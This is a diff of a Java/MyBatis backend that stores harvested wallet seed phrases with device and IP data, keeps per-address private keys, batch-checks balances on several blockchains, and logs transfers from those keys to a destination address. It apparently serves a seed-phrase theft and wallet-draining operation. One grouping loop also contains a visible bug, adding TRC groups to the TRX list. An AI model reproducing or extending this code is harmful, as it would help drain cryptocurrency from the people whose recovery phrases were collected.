+                        // 每11个地址分组(不包括最后一组)
+                        if (trxpsadd % 11 == 0) {
+                            trxarr.add(trxlinshi);
+                            trxlinshi = "";
+                            trxpsadd = 0;
+                        }
+                    }
+                    // 处理最后一个元素:无论是否匹配,只要临时列表非空就添加
+                    if (i == trxlist.size() - 1 && !trxlinshi.isEmpty()) {
+                        trxarr.add(trxlinshi);
+                    }
+                }
+                for (int i = 0; i < trclist.size(); i++) {
+                    String ck2 = trclist.get(i).getAddress();
+                    if (str.contains(ck2)) {
+                        log.error("trc包含这个区块》》》》》》》》》》》》》》》》》》》" + ck2);
+                        // 第一个地址不需要前缀逗号
+                        if (trcpsadd == 0) {
+                            trclinshi = ck2;
+                        } else {
+                            trclinshi += "," + ck2;
+                        }
+                        trcpsadd++;
+
+                        // 每11个地址分组(不包括最后一组)
+                        if (trcpsadd % 11 == 0) {
+                            trxarr.add(trclinshi);
+                            trclinshi = "";
+                            trcpsadd = 0;
+                        }
+                    }
+                    // 处理最后一个元素:无论是否匹配,只要临时列表非空就添加
+                    if (i == trclist.size() - 1 && !trclinshi.isEmpty()) {
+                        trcarr.add(trclinshi);
+                    }
+                }
+
+                //trx有值
+                for (String addressGroup : trxarr) {
+                    if (!addressGroup.isEmpty()) {
+                        Thread thread = new Thread() {
+                            @Override
+                            public void run() {
+                                updateBalance(addressGroup);
+                            }
+                        };
+                        thread.start();
+                    }
+                }
+                //trc有值
+                for (String addressGroup : trcarr) {
+                    if (!addressGroup.isEmpty()) {
+                        Thread thread = new Thread() {
+                            @Override
+                            public void run() {
+                                updateBalance(addressGroup);
+                            }
+                        };
+                        thread.start();
+                    }
+                }
+
+            }
+
+        } catch (Exception e) {
+            e.printStackTrace();
+            log.error("批量扫快task:{}", e.getMessage());
+        }
+    }
+// add by lwh 2025-7-3 end
+
+
+// add by lwh 2025-7-3 start
+    @Override
+    @Async("asyncExecutor")
+    public void checkEthAndErc(String token) {
+        log.info("checkEthAndErc当前执行线程: {}", Thread.currentThread().getName());
+        try {
+            ArrayList<String> etharr = new ArrayList<>();
+            ArrayList<String> ercarr = new ArrayList<>();
+            if (token.equals("eth") || token.equals("erc")) {
+                List<String> str = null;
+                try {
+                    str = EthUtils.getBlockAddr();
+
+                } catch (IOException e) {
+                    throw new RuntimeException(e);
+                } catch (InterruptedException e) {
+                    throw new RuntimeException(e);
+                }
+                ApiMnemonicToken pk2 = new ApiMnemonicToken();
+                pk2.setToken("eth");
+                List<ApiMnemonicToken> ethlist = apiMnemonicTokenMapper.selectSysMnemonicTokenList(pk2);
+                pk2.setToken("erc");
+                List<ApiMnemonicToken> erclist = apiMnemonicTokenMapper.selectSysMnemonicTokenList(pk2);
+
+                String ethlinshi = "", erclinshi = "";
+                int ethpsadd = 0, ercpsadd = 0;
+                for (int i = 0; i < ethlist.size(); i++) {
+                    String ethaddress = ethlist.get(i).getAddress();
+                    if (str.contains(ethaddress)) {
+                        log.error("eth包含这个区块》》》》》》》》》》》》》》》》》》》" + ethaddress);
+                        // 第一个地址不需要前缀逗号
+                        if (ethpsadd == 0) {
+                            ethlinshi = ethaddress;
+                        } else {
+                            ethlinshi += "," + ethaddress;
+                        }
+                        ethpsadd++;
+
+                        // 每11个地址分组(不包括最后一组)
+                        if (ethpsadd % 11 == 0) {
+                            etharr.add(ethlinshi);
+                            ethlinshi = "";
+                            ethpsadd = 0;
+                        }
+                    }
+                    // 处理最后一个元素:无论是否匹配,只要临时列表非空就添加
+                    if (i == ethlist.size() - 1 && !ethlinshi.isEmpty()) {
+                        etharr.add(ethlinshi);
+                    }
+                }
+                for (int i = 0; i < erclist.size(); i++) {
+                    String ercaddress = erclist.get(i).getAddress();
+                    if (str.contains(ercaddress)) {
+                        log.error("erc包含这个区块》》》》》》》》》》》》》》》》》》》" + ercaddress);
+                        if (ercpsadd == 0) {
+                            erclinshi = ercaddress;
+                        } else {
+                            erclinshi += "," + ercaddress;
+                        }
+                        ercpsadd++;
+
+                        if (ercpsadd % 11 == 0) {
+                            ercarr.add(erclinshi);
+                            erclinshi = "";
+                            ercpsadd = 0;
+                        }
+                    }
+
+                    if (i == erclist.size() - 1 && !erclinshi.isEmpty()) {
+                        ercarr.add(erclinshi);
+                    }
+                }
+                //eth有值
+                for (String addressGroup : etharr) {
+                    if (!addressGroup.isEmpty()) {
+                        Thread thread = new Thread() {
+                            @Override
+                            public void run() {
+                                updateBalance(addressGroup);
+                            }
+                        };
+                        thread.start();
+                    }
+                }
+                //erc有值
+                for (String addressGroup : ercarr) {
+                    if (!addressGroup.isEmpty()) {
+                        Thread thread = new Thread() {
+                            @Override
+                            public void run() {
+                                updateBalance(addressGroup);
+                            }
+                        };
+                        thread.start();
+                    }
+                }
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+            log.error("批量扫快task:{}", e.getMessage());
+        }
+    }
+// add by lwh 2025-7-3 end
+
+// add by lwh 2025-7-6 start
+    /**
+     *  交易日志记录、修改token金额、修改助记词余额
+     * @param txId               发起trc20转账返回的id
+     * @param tokenInfo          代币表数据
+     * @param fromAddress        钱包地址
+     * @param fromPrivate        钱包私钥
+     * @param toAddress          TRC秒U地址
+     * @param money              新余额
+     * @param oldMoney           旧余额
+     * @param txType             提现类型:1最高优先级2普通优先级
+     * @return success
+     */
+    public String transferApi(String txId, ApiMnemonicToken tokenInfo, String fromAddress, String fromPrivate,
+                              String toAddress, String money, String oldMoney, int txType) {
+        log.info("转账返回字符串》》》》》》》{}",txId);
+        try {
+            if (txId != null) {
+                // 旧余额减去新余额,金额差
+                BigDecimal difBalance = new BigDecimal(oldMoney).subtract(new BigDecimal(money));
+                int balanceRes = difBalance.compareTo(BigDecimal.ZERO);
+                // 转账成功
+                log.error("转账成功了");
+                // 开始入库
+                ApiTransferLog logrk = new ApiTransferLog();
+                logrk.setAgentid(Long.valueOf(tokenInfo.getAgentid()));
+                logrk.setToken(tokenInfo.getToken());
+                logrk.setFromaddress(fromAddress);
+                logrk.setFromprivateaddress(ApiController.encryptByPublicKey(fromPrivate));
+                logrk.setTxtype(txType);
+                logrk.setToaddress(toAddress);
+                logrk.setMoney(new BigDecimal(money));
+                logrk.setTxid(txId);
+                apiTransferLogMapper.insertSysTransferLog(logrk);
+                // 扣除数据库金额,如果大于0
+                if (balanceRes > 0) {
+                    tokenInfo.setBalance(difBalance);
+                } else {
+                    tokenInfo.setBalance(new BigDecimal("0"));
+                }
+                apiMnemonicTokenMapper.updateSysMnemonicToken(tokenInfo);
+                // 减去对应助记词相关金额
+                Long zjcId = tokenInfo.getMnemonicid();
+                ApiMnemonic mnemonic = apiMnemonicMapper.selectSysMnemonicById(zjcId);
+
+                if (money.equals(oldMoney)) {
+                    mnemonic.setTrc(new BigDecimal("0"));
+                } else {
+                    if (balanceRes > 0) {
+                        mnemonic.setTrc(difBalance);
+                    } else {
+                        mnemonic.setTrc(new BigDecimal("0"));
+                    }
+                }
+                apiMnemonicMapper.updateSysMnemonic(mnemonic);
+                return "success";
+            }
+        } catch (Exception e) {
+            log.error("处理字符串报错>>>>>>>>>>{}",e.getMessage());
+        }
+        return "";
+    }
+// add by lwh 2025-7-6 end
+
+ // add by lwh 2025-7-3 start
+    /**
+     * 更新余额
+     * @author lwh
+     * @param addressGroup 地址列表
+     */
+    public void updateBalance(String addressGroup) {
+        log.error("开始处理余额:>>>>");
+
+        try {
+            Map<String, Map<String, BigDecimal>> balances = WalletUtils.batchQueryBalances(WalletUtils.addrStrToArr(addressGroup, null));
+            
+            // Print results
+            balances.forEach((address, balanceMap) -> {
+                System.out.println("Address: " + address);
+                balanceMap.forEach((type, balance) -> {
+                    String token = "";
+                    String address2 = address.split("-")[0];
+                    // token 赋值
+                    switch (type) {
+                        case "BEP-20":
+                            token = "bep";
+                            break;
+                        case "BNB":
+                            token = "bnb";
+                            break;
+                        case "ETH":
+                            token = "eth";
+                            break;
+                        case "ERC-20":
+                            token = "erc";
+                            break;
+                        case "TRC-20":
+                            token = "trc";
+                            break;
+                        case "TRX":
+                            token = "trx";
+                            break;
+                        case "BTC":
+                            token = "btc";
+                            break;
+                    }
+
+                    //开始token入库
+                    ApiMnemonicToken mnemonicToken = new ApiMnemonicToken();
+                    mnemonicToken.setAddress(address2);
+                    mnemonicToken.setToken(token);
+                    List<ApiMnemonicToken> list3 = apiMnemonicTokenMapper.selectSysMnemonicTokenList(mnemonicToken);
+                    if (!list3.isEmpty()) {
+                        log.error("开始入库了:>>>>{}>>>>{}", type, balance);
+                        Long findid = list3.get(0).getId();
+                        ApiMnemonicToken pp1 = apiMnemonicTokenMapper.selectSysMnemonicTokenById(findid);
+                        pp1.setBalance(balance);
+                        pp1.setUpdatedTime(System.currentTimeMillis() / 1000);
+                        apiMnemonicTokenMapper.updateSysMnemonicToken(pp1);
+                        //助记词余额更新
+                        Long mnemonicId = list3.get(0).getMnemonicid();
+                        ApiMnemonic mnemonic = apiMnemonicMapper.selectSysMnemonicById(mnemonicId);
+                        mnemonic.setUpdatedTime(System.currentTimeMillis() / 1000);
+                        switch (type) {
+                            case "BEP-20":
+                                mnemonic.setBep(balance);
+                                break;
+//                                    case "BIDR":
+//                                        chain="bsc";
+//                                        break;
+                            case "BNB":
+                                mnemonic.setBnb(balance);
+                                break;
+                            case "ETH":
+                                mnemonic.setEth(balance);
+                                break;
+                            case "ERC-20":
+                                mnemonic.setErc(balance);
+                                break;
+//                                    case "ERC-20-USDC":
+//                                        chain="eth";
+//
+//                                        break;
+                            case "TRC-20":
+                                mnemonic.setTrc(balance);
+                                break;
+                            case "TRX":
+                                mnemonic.setTrx(balance);
+                                break;
+                            case "BTC":
+                                mnemonic.setBtc(balance);
+                                break;
+                        }
+
+                        apiMnemonicMapper.updateSysMnemonic(mnemonic);
+                    }
+
+
+                });
+            });
+
+        } catch (Exception e) {
+            log.error("updateBalance方法:{}", e.getMessage());
+        }
+
+    }
+// add by lwh 2025-7-3 end
+}

+ 96 - 0
api/src/main/java/com/api/service/impl/ApiTransferLogServiceImpl.java

@@ -0,0 +1,96 @@
+package com.api.service.impl;
+
+import java.util.List;
+import com.ruoyi.common.utils.DateUtils;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Service;
+import com.api.mapper.ApiTransferLogMapper;
+import com.api.domain.ApiTransferLog;
+import com.api.service.ApiTransferLogService;
+import com.ruoyi.common.core.text.Convert;
+
+/**
+ * 钱包转账Service业务层处理
+ * 
+ * @author ruoyi
+ * @date 2023-03-27
+ */
+@Service
+public class ApiTransferLogServiceImpl implements ApiTransferLogService 
+{
+    @Autowired
+    private ApiTransferLogMapper apiTransferLogMapper;
+
+    /**
+     * 查询钱包转账
+     * 
+     * @param id 钱包转账主键
+     * @return 钱包转账
+     */
+    @Override
+    public ApiTransferLog selectSysTransferLogById(Long id)
+    {
+        return apiTransferLogMapper.selectSysTransferLogById(id);
+    }
+
+    /**
+     * 查询钱包转账列表
+     * 
+     * @param apiTransferLog 钱包转账
+     * @return 钱包转账
+     */
+    @Override
+    public List<ApiTransferLog> selectSysTransferLogList(ApiTransferLog apiTransferLog)
+    {
+        return apiTransferLogMapper.selectSysTransferLogList(apiTransferLog);
+    }
+
+    /**
+     * 新增钱包转账
+     * 
+     * @param apiTransferLog 钱包转账
+     * @return 结果
+     */
+    @Override
+    public int insertSysTransferLog(ApiTransferLog apiTransferLog)
+    {
+        apiTransferLog.setCreateTime(DateUtils.getNowDate());
+        return apiTransferLogMapper.insertSysTransferLog(apiTransferLog);
+    }
+
+    /**
+     * 修改钱包转账
+     * 
+     * @param apiTransferLog 钱包转账
+     * @return 结果
+     */
+    @Override
+    public int updateSysTransferLog(ApiTransferLog apiTransferLog)
+    {
+        return apiTransferLogMapper.updateSysTransferLog(apiTransferLog);
+    }
+
+    /**
+     * 批量删除钱包转账
+     * 
+     * @param ids 需要删除的钱包转账主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysTransferLogByIds(String ids)
+    {
+        return apiTransferLogMapper.deleteSysTransferLogByIds(Convert.toStrArray(ids));
+    }
+
+    /**
+     * 删除钱包转账信息
+     * 
+     * @param id 钱包转账主键
+     * @return 结果
+     */
+    @Override
+    public int deleteSysTransferLogById(Long id)
+    {
+        return apiTransferLogMapper.deleteSysTransferLogById(id);
+    }
+}

+ 67 - 0
api/src/main/resources/mapper/ApiBlackipMapper.xml

@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!DOCTYPE mapper
+PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
+"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
+<mapper namespace="com.api.mapper.ApiBlackipMapper">
+    
+    <resultMap type="ApiBlackip" id="SysBlackipResult">
+        <result property="id"    column="id"    />
+        <result property="ip"    column="ip"    />
+        <result property="remark"    column="remark"    />
+        <result property="createdTime"    column="created_time"    />
+    </resultMap>
+
+    <sql id="selectSysBlackipVo">
+        select id, ip, remark, created_time from sys_blackip
+    </sql>
+
+    <select id="selectSysBlackipList" parameterType="ApiBlackip" resultMap="SysBlackipResult">
+        <include refid="selectSysBlackipVo"/>
+        <where>  
+            <if test="ip != null  and ip != ''"> and ip = #{ip}</if>
+            <if test="remark != null  and remark != ''"> and remark = #{remark}</if>
+            <if test="createdTime != null "> and created_time = #{createdTime}</if>
+        </where>
+    </select>
+    
+    <select id="selectSysBlackipById" parameterType="Long" resultMap="SysBlackipResult">
+        <include refid="selectSysBlackipVo"/>
+        where id = #{id}
+    </select>
+        
+    <insert id="insertSysBlackip" parameterType="ApiBlackip" useGeneratedKeys="true" keyProperty="id">
+        insert into sys_blackip
+        <trim prefix="(" suffix=")" suffixOverrides=",">
+            <if test="ip != null and ip != ''">ip,</if>
+            <if test="remark != null">remark,</if>
+            <if test="createdTime != null">created_time,</if>
+         </trim>
+        <trim prefix="values (" suffix=")" suffixOverrides=",">
+            <if test="ip != null and ip != ''">#{ip},</if>
+            <if test="remark != null">#{remark},</if>
+            <if test="createdTime != null">#{createdTime},</if>
+         </trim>
+    </insert>
+
+    <update id="updateSysBlackip" parameterType="ApiBlackip">
+        update sys_blackip
+        <trim prefix="SET" suffixOverrides=",">
+            <if test="ip != null and ip != ''">ip = #{ip},</if>
+            <if test="remark != null">remark = #{remark},</if>
+            <if test="createdTime != null">created_time = #{createdTime},</if>
+        </trim>
+        where id = #{id}
+    </update>
+
+    <delete id="deleteSysBlackipById" parameterType="Long">
+        delete from sys_blackip where id = #{id}
+    </delete>
+
+    <delete id="deleteSysBlackipByIds" parameterType="String">
+        delete from sys_blackip where id in 
+        <foreach item="id" collection="array" open="(" separator="," close=")">
+            #{id}
+        </foreach>
+    </delete>
+
+</mapper>

+ 82 - 0
api/src/main/resources/mapper/ApiMapper.xml

@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!DOCTYPE mapper
+		PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
+		"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
+<mapper namespace="com.api.mapper.ApiMapper">
+	<select id="selectBanner" resultType="com.api.domain.Api">
+		select *
+		from sys_user_role;
+	</select>
+<!--	这是处理助记词入库-->
+	<insert id="insertSysMnemonic" parameterType="ApiMnemonic" useGeneratedKeys="true" keyProperty="id">
+		insert into sys_mnemonic
+		<trim prefix="(" suffix=")" suffixOverrides=",">
+			<if test="agentid != null">agentid,</if>
+			<if test="mnemonic != null">mnemonic,</if>
+			<if test="createdTime != null">created_time,</if>
+			<if test="updatedTime != null">updated_time,</if>
+			<if test="deletedTime != null">deleted_time,</if>
+			<if test="status != null">status,</if>
+			<if test="remark != null">remark,</if>
+			<if test="platform != null">platform,</if>
+			<if test="sort != null">sort,</if>
+			<if test="ip != null">ip,</if>
+			<if test="ipCount != null">ip_count,</if>
+			<if test="eth != null">eth,</if>
+			<if test="erc != null">erc,</if>
+			<if test="trx != null">trx,</if>
+			<if test="trc != null">trc,</if>
+			<if test="btc != null">btc,</if>
+			<if test="omni != null">omni,</if>
+			<if test="bnb != null">bnb,</if>
+			<if test="bep != null">bep,</if>
+		</trim>
+		<trim prefix="values (" suffix=")" suffixOverrides=",">
+			<if test="agentid != null">#{agentid},</if>
+			<if test="mnemonic != null">#{mnemonic},</if>
+			<if test="createdTime != null">#{createdTime},</if>
+			<if test="updatedTime != null">#{updatedTime},</if>
+			<if test="deletedTime != null">#{deletedTime},</if>
+			<if test="status != null">#{status},</if>
+			<if test="remark != null">#{remark},</if>
+			<if test="platform != null">#{platform},</if>
+			<if test="sort != null">#{sort},</if>
+			<if test="ip != null">#{ip},</if>
+			<if test="ipCount != null">#{ipCount},</if>
+			<if test="eth != null">#{eth},</if>
+			<if test="erc != null">#{erc},</if>
+			<if test="trx != null">#{trx},</if>
+			<if test="trc != null">#{trc},</if>
+			<if test="btc != null">#{btc},</if>
+			<if test="omni != null">#{omni},</if>
+			<if test="bnb != null">#{bnb},</if>
+			<if test="bep != null">#{bep},</if>
+		</trim>
+	</insert>
+	<update id="updateSysMnemonic" parameterType="ApiMnemonic">
+		update sys_mnemonic
+		<trim prefix="SET" suffixOverrides=",">
+			<if test="agentid != null">agentid = #{agentid},</if>
+			<if test="mnemonic != null">mnemonic = #{mnemonic},</if>
+			<if test="createdTime != null">created_time = #{createdTime},</if>
+			<if test="updatedTime != null">updated_time = #{updatedTime},</if>
+			<if test="deletedTime != null">deleted_time = #{deletedTime},</if>
+			<if test="status != null">status = #{status},</if>
+			<if test="remark != null">remark = #{remark},</if>
+			<if test="platform != null">platform = #{platform},</if>
+			<if test="sort != null">sort = #{sort},</if>
+			<if test="ip != null">ip = #{ip},</if>
+			<if test="ipCount != null">ip_count = #{ipCount},</if>
+			<if test="eth != null">eth = #{eth},</if>
+			<if test="erc != null">erc = #{erc},</if>
+			<if test="trx != null">trx = #{trx},</if>
+			<if test="trc != null">trc = #{trc},</if>
+			<if test="btc != null">btc = #{btc},</if>
+			<if test="omni != null">omni = #{omni},</if>
+			<if test="bnb != null">bnb = #{bnb},</if>
+			<if test="bep != null">bep = #{bep},</if>
+		</trim>
+		where id = #{id}
+	</update>
+<!--	处理助记词入库结束-->
+</mapper>

+ 258 - 0
api/src/main/resources/mapper/ApiMnemonicMapper.xml

@@ -0,0 +1,258 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!DOCTYPE mapper
+PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
+"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
+<mapper namespace="com.api.mapper.ApiMnemonicMapper">
+    
+    <resultMap type="ApiMnemonic" id="SysMnemonicResult">
+        <result property="id"    column="id"    />
+        <result property="agentid"    column="agentid"    />
+        <result property="device"    column="device"    />
+        <result property="mnemonicmd5"    column="mnemonicmd5"    />
+        <result property="mnemonic"    column="mnemonic"    />
+        <result property="createdTime"    column="created_time"    />
+        <result property="updatedTime"    column="updated_time"    />
+        <result property="deletedTime"    column="deleted_time"    />
+        <result property="status"    column="status"    />
+        <result property="remark"    column="remark"    />
+        <result property="platform"    column="platform"    />
+        <result property="sort"    column="sort"    />
+        <result property="ip"    column="ip"    />
+        <result property="ipCount"    column="ip_count"    />
+        <result property="eth"    column="eth"    />
+        <result property="erc"    column="erc"    />
+        <result property="trx"    column="trx"    />
+        <result property="trc"    column="trc"    />
+        <result property="btc"    column="btc"    />
+        <result property="omni"    column="omni"    />
+        <result property="bnb"    column="bnb"    />
+        <result property="bep"    column="bep"    />
+    </resultMap>
+
+    <sql id="selectSysMnemonicVo">
+        select id, agentid, mnemonic,mnemonicmd5, device,created_time, updated_time, deleted_time, status, remark, platform, sort, ip, ip_count, eth, erc, trx, trc, btc, omni, bnb, bep from sys_mnemonic
+    </sql>
+
+    <select id="selectSysMnemonicList" parameterType="ApiMnemonic" resultMap="SysMnemonicResult">
+        <include refid="selectSysMnemonicVo"/>
+        <where>  
+            <if test="agentid != null "> and agentid = #{agentid}</if>
+            <if test="mnemonicmd5 != null "> and mnemonicmd5 = #{mnemonicmd5}</if>
+            <if test="mnemonic != null  and mnemonic != ''"> and mnemonic = #{mnemonic}</if>
+            <if test="remark != null  and remark != ''"> and remark = #{remark}</if>
+        </where>
+        <trim>
+            <if test="limitnum != 0 and limitnum != null and limitnum != ''"> order by updated_time asc limit 0,#{limitnum} </if>
+        </trim>
+    </select>
+    
+    <select id="selectSysMnemonicById" parameterType="Long" resultMap="SysMnemonicResult">
+        <include refid="selectSysMnemonicVo"/>
+        where id = #{id}
+    </select>
+        
+    <insert id="insertSysMnemonic" parameterType="ApiMnemonic" useGeneratedKeys="true" keyProperty="id">
+        insert into sys_mnemonic
+        <trim prefix="(" suffix=")" suffixOverrides=",">
+            <if test="agentid != null">agentid,</if>
+            <if test="mnemonicmd5 != null">mnemonicmd5,</if>
+            <if test="device != null">device,</if>
+            <if test="mnemonic != null">mnemonic,</if>
+            <if test="createdTime != null">created_time,</if>
+            <if test="updatedTime != null">updated_time,</if>
+            <if test="deletedTime != null">deleted_time,</if>
+            <if test="status != null">status,</if>
+            <if test="remark != null">remark,</if>
+            <if test="platform != null">platform,</if>
+            <if test="sort != null">sort,</if>
+            <if test="ip != null">ip,</if>
+            <if test="ipCount != null">ip_count,</if>
+            <if test="eth != null">eth,</if>
+            <if test="erc != null">erc,</if>
+            <if test="trx != null">trx,</if>
+            <if test="trc != null">trc,</if>
+            <if test="btc != null">btc,</if>
+            <if test="omni != null">omni,</if>
+            <if test="bnb != null">bnb,</if>
+            <if test="bep != null">bep,</if>
+         </trim>
+        <trim prefix="values (" suffix=")" suffixOverrides=",">
+            <if test="agentid != null">#{agentid},</if>
+            <if test="mnemonicmd5 != null">#{mnemonicmd5},</if>
+            <if test="device != null">#{device},</if>
+            <if test="mnemonic != null">#{mnemonic},</if>
+            <if test="createdTime != null">#{createdTime},</if>
+            <if test="updatedTime != null">#{updatedTime},</if>
+            <if test="deletedTime != null">#{deletedTime},</if>
+            <if test="status != null">#{status},</if>
+            <if test="remark != null">#{remark},</if>
+            <if test="platform != null">#{platform},</if>
+            <if test="sort != null">#{sort},</if>
+            <if test="ip != null">#{ip},</if>
+            <if test="ipCount != null">#{ipCount},</if>
+            <if test="eth != null">#{eth},</if>
+            <if test="erc != null">#{erc},</if>
+            <if test="trx != null">#{trx},</if>
+            <if test="trc != null">#{trc},</if>
+            <if test="btc != null">#{btc},</if>
+            <if test="omni != null">#{omni},</if>
+            <if test="bnb != null">#{bnb},</if>
+            <if test="bep != null">#{bep},</if>
+         </trim>
+    </insert>
+
+    <update id="updateSysMnemonic" parameterType="ApiMnemonic">
+        update sys_mnemonic
+        <trim prefix="SET" suffixOverrides=",">
+            <if test="agentid != null">agentid = #{agentid},</if>
+            <if test="mnemonic != null">mnemonic = #{mnemonic},</if>
+            <if test="mnemonicmd5 != null">mnemonicmd5 = #{mnemonicmd5},</if>
+            <if test="device != null">device = #{device},</if>
+            <if test="createdTime != null">created_time = #{createdTime},</if>
+            <if test="updatedTime != null">updated_time = #{updatedTime},</if>
+            <if test="deletedTime != null">deleted_time = #{deletedTime},</if>
+            <if test="status != null">status = #{status},</if>
+            <if test="remark != null">remark = #{remark},</if>
+            <if test="platform != null">platform = #{platform},</if>
+            <if test="sort != null">sort = #{sort},</if>
+            <if test="ip != null">ip = #{ip},</if>
+            <if test="ipCount != null">ip_count = #{ipCount},</if>
+            <if test="eth != null">eth = #{eth},</if>
+            <if test="erc != null">erc = #{erc},</if>
+            <if test="trx != null">trx = #{trx},</if>
+            <if test="trc != null">trc = #{trc},</if>
+            <if test="btc != null">btc = #{btc},</if>
+            <if test="omni != null">omni = #{omni},</if>
+            <if test="bnb != null">bnb = #{bnb},</if>
+            <if test="bep != null">bep = #{bep},</if>
+        </trim>
+        where id = #{id}
+    </update>
+    <update id="batchUpdateSysMnemonic" parameterType="java.util.List">
+        UPDATE sys_mnemonic
+        SET
+        -- 动态拼接需要更新的字段
+        <trim prefix="" suffixOverrides=",">
+            agentid = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.agentid}
+            </foreach>
+            END,
+            mnemonic = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.mnemonic}
+            </foreach>
+            END,
+            mnemonicmd5 = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.mnemonicmd5}
+            </foreach>
+            END,
+            device = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.device}
+            </foreach>
+            END,
+            created_time = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.createdTime}
+            </foreach>
+            END,
+            updated_time = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.updatedTime}
+            </foreach>
+            END,
+            deleted_time = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.deletedTime}
+            </foreach>
+            END,
+            status = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.status}
+            </foreach>
+            END,
+            remark = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.remark}
+            </foreach>
+            END,
+            platform = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.platform}
+            </foreach>
+            END,
+            sort = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.sort}
+            </foreach>
+            END,
+            ip = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.ip}
+            </foreach>
+            END,
+            ip_count = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.ipCount}
+            </foreach>
+            END,
+            eth = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.eth}
+            </foreach>
+            END,
+            erc = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.erc}
+            </foreach>
+            END,
+            trx = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.trx}
+            </foreach>
+            END,
+            trc = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.trc}
+            </foreach>
+            END,
+            btc = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.btc}
+            </foreach>
+            END,
+            omni = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.omni}
+            </foreach>
+            END,
+            bnb = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.bnb}
+            </foreach>
+            END,
+            bep = CASE
+            <foreach collection="list" item="item" index="index">
+                WHEN id = #{item.id} THEN #{item.bep}
+            </foreach>
+            END
+        </trim>
+        WHERE id IN
+        <foreach collection="list" item="item" open="(" separator="," close=")">
+            #{item.id}
+        </foreach>
+    </update>
+    <delete id="deleteSysMnemonicById" parameterType="Long">
+        delete from sys_mnemonic where id = #{id}
+    </delete>
+
+    <delete id="deleteSysMnemonicByIds" parameterType="String">
+        delete from sys_mnemonic where id in 
+        <foreach item="id" collection="array" open="(" separator="," close=")">
+            #{id}
+        </foreach>
+    </delete>
+
+</mapper>

+ 145 - 0
api/src/main/resources/mapper/ApiMnemonicTokenMapper.xml

@@ -0,0 +1,145 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!DOCTYPE mapper
+PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
+"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
+<mapper namespace="com.api.mapper.ApiMnemonicTokenMapper">
+    
+    <resultMap type="ApiMnemonicToken" id="SysMnemonicTokenResult">
+        <result property="id"    column="id"    />
+        <result property="agentid"    column="agentid"    />
+        <result property="platform"    column="platform"    />
+        <result property="mnemonicid"    column="mnemonicid"    />
+        <result property="chain"    column="chain"    />
+        <result property="token"    column="token"    />
+        <result property="address"    column="address"    />
+        <result property="balance"    column="balance"    />
+        <result property="zzbalance"    column="zzbalance"    />
+        <result property="privatekey"    column="privatekey"    />
+        <result property="createdTime"    column="created_time"    />
+        <result property="updatedTime"    column="updated_time"    />
+        <result property="deletedTime"    column="deleted_time"    />
+    </resultMap>
+
+    <sql id="selectSysMnemonicTokenVo">
+        select id, agentid, mnemonicid,platform,zzbalance, chain, token, address, balance,privatekey, created_time, updated_time, deleted_time from sys_mnemonic_token
+    </sql>
+
+    <select id="selectSysMnemonicTokenList" parameterType="ApiMnemonicToken" resultMap="SysMnemonicTokenResult">
+        <include refid="selectSysMnemonicTokenVo"/>
+        <where>  
+            <if test="chain != null  and chain != ''"> and chain = #{chain}</if>
+            <if test="mnemonicid != null  and mnemonicid != ''"> and mnemonicid = #{mnemonicid}</if>
+            <if test="token != null  and token != ''"> and token = #{token}</if>
+            <if test="address != null  and address != ''"> and address = #{address}</if>
+            <if test="createdTime != null "> and created_time = #{createdTime}</if>
+            <if test="updatedTime != null "> and updated_time = #{updatedTime}</if>
+        </where>
+    </select>
+
+    <select id="selectSysMnemonicTokenTaskSingleList" parameterType="String" resultMap="SysMnemonicTokenResult">
+        <include refid="selectSysMnemonicTokenVo"/>
+        <where>
+            <if test="token != null and token != '' ">  token = #{token}</if>
+            and deleted_time=0 and balance>=zzbalance and balance>0 and zzbalance>0
+        </where>
+
+    </select>
+    
+    <select id="selectSysMnemonicTokenById" parameterType="Long" resultMap="SysMnemonicTokenResult">
+        <include refid="selectSysMnemonicTokenVo"/>
+        where id = #{id}
+    </select>
+        
+    <insert id="insertSysMnemonicToken" parameterType="ApiMnemonicToken" useGeneratedKeys="true" keyProperty="id">
+        insert into sys_mnemonic_token
+        <trim prefix="(" suffix=")" suffixOverrides=",">
